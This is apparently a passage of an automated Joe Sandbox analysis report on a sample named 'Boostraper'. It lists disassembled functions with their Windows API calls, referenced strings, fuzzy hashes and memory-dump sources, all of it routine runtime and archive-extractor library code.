Opcode Fuzzy Hash: 97c61870910e9a459f5511f37382f056c8c1ba16949a0d4f5cb4955ec07d9008
Instruction Fuzzy Hash: 4E01D471640285AFCB71AF18EC44F9A7FA9E754380F048631F805D2270C67D9C50EBA6

Function 007991DE Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00799269
__alldvrm.LIBCMT ref: 0079946A
__alldvrm.LIBCMT ref: 0079948C

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 35fd0d8be5dca6c89d1c4a519db20ace465afc24967252a61766d950e54f80d3
Instruction ID: c1550f22e89d66fbe8fd5af202ca3dfd90625a708b85d778439db3ec0ff84126
Opcode Fuzzy Hash: 35fd0d8be5dca6c89d1c4a519db20ace465afc24967252a61766d950e54f80d3
Instruction Fuzzy Hash: 9CA167729003869FFF22CF6CE8917AEBBE5EF55310F18416DE6859B281D23C9942C750

Function 0077A2AB Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000000,?,007780B7,?,?,?), ref: 0077A351
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000000,?,007780B7,?,?), ref: 0077A395
SetFileTime.KERNEL32(?,00000800,?,00000000,?,00000000,?,007780B7,?,?,?,?,?,?,?,?), ref: 0077A416
CloseHandle.KERNEL32(?,?,00000000,?,007780B7,?,?,?,?,?,?,?,?,?,?,?), ref: 0077A41D

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 4583339d53afacb15f957150539b66bf2e69bdb0135b82093b2814ef4bdf69f8
Instruction ID: 81120de107cea1446fe0dab59e426ae8e09562fe3c0ecc3bf2ec3d11cdbfc752
Opcode Fuzzy Hash: 4583339d53afacb15f957150539b66bf2e69bdb0135b82093b2814ef4bdf69f8
Instruction Fuzzy Hash: 3841D231248381AAEB31DF24CC49FAFBBE5ABC5780F04891CB5D8D3181D6689A48DB53

Function 0079C099 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,007989AD,?,00000000,?,00000001,?,?,00000001,007989AD,?), ref: 0079C0E6
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0079C16F
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,007967E2,?), ref: 0079C181
__freea.LIBCMT ref: 0079C18A

Part of subcall function 00798518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0079C13D,00000000,?,007967E2,?,00000008,?,007989AD,?,?,?), ref: 0079854A

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 833877d8f0a92d1babeea5e2b5f2c677b51c6071065c3ab6e41ad3b7adab3ff4
Instruction ID: 9ca0c7d49ded14eca454a9d1d0b872e5cf9f98c2cc5440a52b0ab746e300c119
Opcode Fuzzy Hash: 833877d8f0a92d1babeea5e2b5f2c677b51c6071065c3ab6e41ad3b7adab3ff4
Instruction Fuzzy Hash: 0C31EFB2A0020AABDF269F64EC45DAE7BA5EB45310F044128FC04DB291EB39CD50CBA4

Function 00789DBB Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00789DBE
GetDeviceCaps.GDI32(00000000,00000058), ref: 00789DCD
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00789DDB
ReleaseDC.USER32(00000000,00000000), ref: 00789DE9

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 81293b073dff812ee565acef010e50b5754e5180631e70c4012d17a547177575
Instruction ID: 6d120d2d3109ca0bcfd68fbca7ba6a598424d7aeeb62ba0e36b2335d9da76f58
Opcode Fuzzy Hash: 81293b073dff812ee565acef010e50b5754e5180631e70c4012d17a547177575
Instruction Fuzzy Hash: 21E0EC31986661A7D3601FA4AC0DB9B3B68AB19712F058106F70596195DA784407CBA9

Function 00792016 Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00792016
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 0079201B
___vcrt_initialize_locks.LIBVCRUNTIME ref: 00792020

Part of subcall function 0079310E: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 0079311F

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00792035

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: 50341c1e121bd6f5d5b78c5b3ee2afe6a0478775b34c66270a9efbcfed992c13
Instruction ID: dcaeeb083328b8249f2ad320d2c873e7bf43abe3da6825429cd2c21e63ab9003
Opcode Fuzzy Hash: 50341c1e121bd6f5d5b78c5b3ee2afe6a0478775b34c66270a9efbcfed992c13
Instruction Fuzzy Hash: 8BC04C24084A48F41C113AB9320E1BD07400C627C4B9260C2E88017113EE0E061BD033

Function 00789F5D Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00789DF1: GetDC.USER32(00000000), ref: 00789DF5
Part of subcall function 00789DF1: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00789E00
Part of subcall function 00789DF1: ReleaseDC.USER32(00000000,00000000), ref: 00789E0B

GetObjectW.GDI32(?,00000018,?), ref: 00789F8D

Part of subcall function 0078A1E5: GetDC.USER32(00000000), ref: 0078A1EE
Part of subcall function 0078A1E5: GetObjectW.GDI32(?,00000018,?), ref: 0078A21D
Part of subcall function 0078A1E5: ReleaseDC.USER32(00000000,?), ref: 0078A2B5

Strings

(, xrefs: 0078A0A3

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: 0180443a335d1789917b32d331de15d159ba48f2f9abcb84d10372f83c39c4fc
Instruction ID: c04e596626038a95ed8a94696a23842a142dcb5cfd22fbac3a4b2ff47c3932ab
Opcode Fuzzy Hash: 0180443a335d1789917b32d331de15d159ba48f2f9abcb84d10372f83c39c4fc
Instruction Fuzzy Hash: BA812671608204AFD714DF28C848A2ABBF9FFC9714F00891EF986D7260DB39AD05DB52

Function 00780E37 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00780FF1

Strings

%s: %s, xrefs: 00781000
%ls, xrefs: 00780E76, 00780E8C

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: 575ea02c00299d702d1fb23eea90c38e19c26aa7fb8994a755f22087affc229c
Instruction ID: f814e1f481adbd7aa67fbe5ee263aaaa7a9f3ce113cd329b47188351895c24fd
Opcode Fuzzy Hash: 575ea02c00299d702d1fb23eea90c38e19c26aa7fb8994a755f22087affc229c
Instruction Fuzzy Hash: 3851D6312CC740FDFA713AA4CD17F377669AB14B40F208907B3DB648E1C69E5468A792

Function 0079A918 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0079AA84

Part of subcall function 00798849: IsProcessorFeaturePresent.KERNEL32(00000017,00798838,00000050,007A3958,?,0077CFE0,00000004,007B0EE8,?,?,00798845,00000000,00000000,00000000,00000000,00000000), ref: 0079884B
Part of subcall function 00798849: GetCurrentProcess.KERNEL32(C0000417,007A3958,00000050,007B0EE8), ref: 0079886D
Part of subcall function 00798849: TerminateProcess.KERNEL32(00000000), ref: 00798874

Strings

*?, xrefs: 0079A95B
., xrefs: 0079AC3B

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free
String ID: *?$.
API String ID: 2667617558-3972193922
Opcode ID: 46d45437bf881060891f947650aec9d3ba4d76883fc361421d2bb44ca5e48db8
Instruction ID: 11269dbedb09c28a69d00e0caebd2d22dd66f3ebcb1cdd40a349d7822e2c9305
Opcode Fuzzy Hash: 46d45437bf881060891f947650aec9d3ba4d76883fc361421d2bb44ca5e48db8
Instruction Fuzzy Hash: AE519171E0110AEFDF14CFA8D981AADB7B5FF58314F258169E854E7340EA39AE01CB91

Function 0077772B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00777730
SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 007778CC

Part of subcall function 0077A444: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0077A27A,?,?,?,0077A113,?,00000001,00000000,?,?), ref: 0077A458
Part of subcall function 0077A444: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0077A27A,?,?,?,0077A113,?,00000001,00000000,?,?), ref: 0077A489

Strings

:, xrefs: 007777A1

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: File$Attributes$H_prologTime
String ID: :
API String ID: 1861295151-336475711
Opcode ID: 22af7800dd500e7b5fba8012f48d093ba4307a5098884eea8ac60153c92b7975
Instruction ID: 7e897300d88cac485ccbd5991daf5894ffc6bf30eed963af49bab7612c2dfe35
Opcode Fuzzy Hash: 22af7800dd500e7b5fba8012f48d093ba4307a5098884eea8ac60153c92b7975
Instruction Fuzzy Hash: E2414271905258EAEF24EB50DD59EEEB37CAF45380F00C1A9B60DA2092DB785F84DF61

Function 0077B66C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

\\?\, xrefs: 0077B6BE, 0077B6FA, 0077B75B, 0077B7AE
UNC, xrefs: 0077B708

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID:
String ID: UNC$\\?\
API String ID: 0-253988292
Opcode ID: 4f28b531c735727baf0ad2fd842cbca10af8bbb644ba0214b2d081d32eed34b9
Instruction ID: 052a30595ba3f41ff689f5f22c3df6306d1634dd55307a0cd55f05b327fd6a9c
Opcode Fuzzy Hash: 4f28b531c735727baf0ad2fd842cbca10af8bbb644ba0214b2d081d32eed34b9
Instruction Fuzzy Hash: E9419D35940219EACF20AF61DC45FEF77A9AF857D0B10C426F81CA7152E77CEA51CAA0

Function 00788FB6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00788FC4

Strings

Shell.Explorer, xrefs: 00788FEF
about:blank, xrefs: 00789082

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID:
String ID: Shell.Explorer$about:blank
API String ID: 0-874089819
Opcode ID: 7204e39ad3219cb019d24e82aedb3180f3743f10d1e63a2e7e975f8a2036b767
Instruction ID: 9cd0fbc610ad2ce5f4379fcae1de5c5391bb8b718fd76246b979dfd8553064e3
Opcode Fuzzy Hash: 7204e39ad3219cb019d24e82aedb3180f3743f10d1e63a2e7e975f8a2036b767
Instruction Fuzzy Hash: 21218571244305DFCB48AF64C899A3A77A8FF84711B18C56DF9099B282DB78EC01CB61

Function 0078D44D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

DialogBoxParamW.USER32(GETPASSWORD1,00010456,0078A990,?,?), ref: 0078D4C5

Strings

GETPASSWORD1, xrefs: 0078D4BA
xj|, xrefs: 0078D4D5

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: DialogParam
String ID: GETPASSWORD1$xj|
API String ID: 665744214-9170109
Opcode ID: 7705c8a23ad8de69a30e4000b31c37fcc6022156043ab19bd4d1fbb17eb65c9c
Instruction ID: 41b42224944d7d36c1f792db739fe6db07132616c562bca83302f1571264c82f
Opcode Fuzzy Hash: 7705c8a23ad8de69a30e4000b31c37fcc6022156043ab19bd4d1fbb17eb65c9c
Instruction Fuzzy Hash: A9113871640288ABDB32EE349C06FEA3798B70A351F18C175BD49A71D1C7BCAC40D764

Function 0077EBF2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 0077EB73: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0077EB92
Part of subcall function 0077EB73: GetProcAddress.KERNEL32(007B81C0,CryptUnprotectMemory), ref: 0077EBA2

GetCurrentProcessId.KERNEL32(?,?,?,0077EBEC), ref: 0077EC84

Strings

CryptUnprotectMemory failed, xrefs: 0077EC7C
CryptProtectMemory failed, xrefs: 0077EC3B

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: f45cf19524c3441fca9720dcc101851699c180a91ca839e3bbbdac0ba2146792
Instruction ID: c11286803a99e1943a2749e0ee1fcfd70b75b5ac33168648298cd2ee9e611d6b
Opcode Fuzzy Hash: f45cf19524c3441fca9720dcc101851699c180a91ca839e3bbbdac0ba2146792
Instruction Fuzzy Hash: 95116A31A01228ABDF125F24CD06BAE3708EF49790B00C199F8095F281CB3C9E0187E5

Function 00799B90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00799BBE
_free.LIBCMT ref: 00799BE4

Strings

Xz, xrefs: 00799C4B

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: _free
String ID: Xz
API String ID: 269201875-1877267331
Opcode ID: 7bdb028d6a48375b71bc8f8a46e0c141c27adcaf0cf971eaeb4feb69c75ad1db
Instruction ID: 85e9cef694259f22327c59f67722fd1379cf13017867793193e09f023739fe57
Opcode Fuzzy Hash: 7bdb028d6a48375b71bc8f8a46e0c141c27adcaf0cf971eaeb4feb69c75ad1db
Instruction Fuzzy Hash: F711E671B02211AAFF609B3CBC45B1633A5BB52330F04462AF621CB5E0E77DE8418785

Function 0078EC4A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0078F25E
___raise_securityfailure.LIBCMT ref: 0078F345

Strings

8}, xrefs: 0078F340

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8}
API String ID: 3761405300-1310924534
Opcode ID: f9bb9f195a64bdfc4f6e337ba5e4186768a9b33d65fa95efcf0f9a49004cce6a
Instruction ID: 53272d885138b4b251e0726a951bc6da0c894ffc5ce6ff64c34a82677609d1b5
Opcode Fuzzy Hash: f9bb9f195a64bdfc4f6e337ba5e4186768a9b33d65fa95efcf0f9a49004cce6a
Instruction Fuzzy Hash: 012114B56523048BD750EF64F9857143BB5FB49310F10A96BE9088B3A0E3BC9980CB89

Function 00780889 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00010000,007809D0,?,00000000,00000000), ref: 007808AD
SetThreadPriority.KERNEL32(?,00000000), ref: 007808F4

Part of subcall function 00776E91: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00776EAF

Strings

CreateThread failed, xrefs: 007808B9

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: ee60b328def698b6207604615382d4b10ba992e0c832dd9ce26dd491bf40149f
Instruction ID: bf69ea4d46596a531105421ba6a1136e165f30942cd1225510709a656d635dbc
Opcode Fuzzy Hash: ee60b328def698b6207604615382d4b10ba992e0c832dd9ce26dd491bf40149f
Instruction Fuzzy Hash: D801D6B1384305AFE6207F54EC86FB77399EB41711F10013DF58A52181CAE9B88497E4

Function 0079B2AE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00798FA5: GetLastError.KERNEL32(?,007B0EE8,00793E14,007B0EE8,?,?,00793713,00000050,?,007B0EE8,00000200), ref: 00798FA9
Part of subcall function 00798FA5: _free.LIBCMT ref: 00798FDC
Part of subcall function 00798FA5: SetLastError.KERNEL32(00000000,?,007B0EE8,00000200), ref: 0079901D
Part of subcall function 00798FA5: _abort.LIBCMT ref: 00799023

_abort.LIBCMT ref: 0079B2E0
_free.LIBCMT ref: 0079B314

Strings

z, xrefs: 0079B30B

Memory Dump Source

